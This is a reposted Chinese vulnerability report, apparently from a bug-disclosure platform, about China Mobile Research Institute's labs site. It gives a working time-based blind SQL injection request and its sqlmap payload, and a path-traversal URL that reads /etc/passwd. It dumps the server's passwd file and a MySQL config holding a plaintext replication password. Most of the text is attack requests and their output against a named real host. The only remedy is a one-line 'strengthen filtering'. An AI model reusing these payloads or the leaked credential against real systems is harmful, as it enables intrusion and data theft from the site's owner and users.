记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

中国移动研究院SQL盲注+本地文件包含

2015-01-07 01:20

SQL盲注+本地文件包含。如果可以请给高点分以示鼓励!嘿嘿!

注入点实在是太多,我挑了一处作为演示:星号部分为注入点
 


GET /events/share/index.php?category=&domain=10313&i=40&order=*&q=share&uid=0 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://labs.chinamobile.com:80/
Cookie: PHPSESSID=a35a48f4736395e3d17d836ef26690bf; errorsNum=1; returnUrl=%2Fgroups%2F10164; hd_sid=ERqHvU; n2rE_2132_saltkey=vKtey6mz; n2rE_2132_sid=rG46KJ
Host: labs.chinamobile.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*

盲注实在是慢,部分信息如下:
 


sqlmap identified the following injection points with a total of 1269 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.0
current user: '6D6F62696C656875625F736C617665403539312'
current database: 'mobilehu'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
current user: '6D6F62696C656875625F736C617665403539312'
current database: 'mobilehu'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: AND/OR time-based blind
Title: MySQL >= 5.0 time-based blind - Parameter replace
Payload: http://labs.chinamobile.com:80/events/share/index.php?category=&domain=10313&i=40&order=(SELECT (CASE WHEN (6027=6027) THEN SLEEP(5) ELSE 6027*(SELECT 6027 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&q=share&uid=0
---
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL >= 5.0.0
available databases [3]:
[*] `696E666F726D6174696`
[*] `6`
[*] B



速度不给力,很多内容不完整,见谅。

本地文件包含:

http://labs.chinamobile.com/report/uploaddown.php?path=/../../../../../../etc/passwd
 


root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
mysql:x:27:27::/dev/null:/sbin/nologin
www:x:1000:1000::/dev/null:/sbin/nologin
wdcpu:x:999:999::/www/wdlinux/wdcp:/sbin/nologin



数据库配置文件信息
 


# mysql conf /etc/my.cnf
# Created by http://www.wdlinux.cn
# Last Updated 2010.06.01

[client]
port= 3306
socket= /tmp/mysql.sock
[mysqld]
slave_skip_errors = 1062
#skip-innodb
port= 3306
socket= /tmp/mysql.sock
skip-external-locking
key_buffer_size = 128M
max_allowed_packet = 512M
table_open_cache = 256
sort_buffer_size = 1M
read_buffer_size = 1M
read_rnd_buffer_size = 2M
myisam_sort_buffer_size = 8M
thread_cache_size = 8
query_cache_size= 16M
thread_concurrency = 8
max_connections = 1000
wait_timeout = 30
interactive_timeout = 300
max_connect_errors = 9
long_query_time = 1
tmp_table_size = 16M
#log-bin=mysql-bin
#binlog_format=mixed


server-id= 233
master-host=192.168.0.231
master-user=rep
master-password=etentec@etentec
master-port=3306
replicate-ignore-db=wdcpdb
replicate-ignore-db=test
replicate-ignore-db=mysql
[mysqldump]
quick
max_allowed_packet = 128M
[mysql]
no-auto-rehash
[myisamchk]
key_buffer_size = 12M
sort_buffer_size = 1M
read_buffer = 1M
write_buffer = 1M
[mysqlhotcopy]
interactive-timeout

 

解决方案:

加强过滤


知识来源: www.2cto.com/Article/201501/367084.html

阅读:163795 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“中国移动研究院SQL盲注+本地文件包含”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

标签云 ☁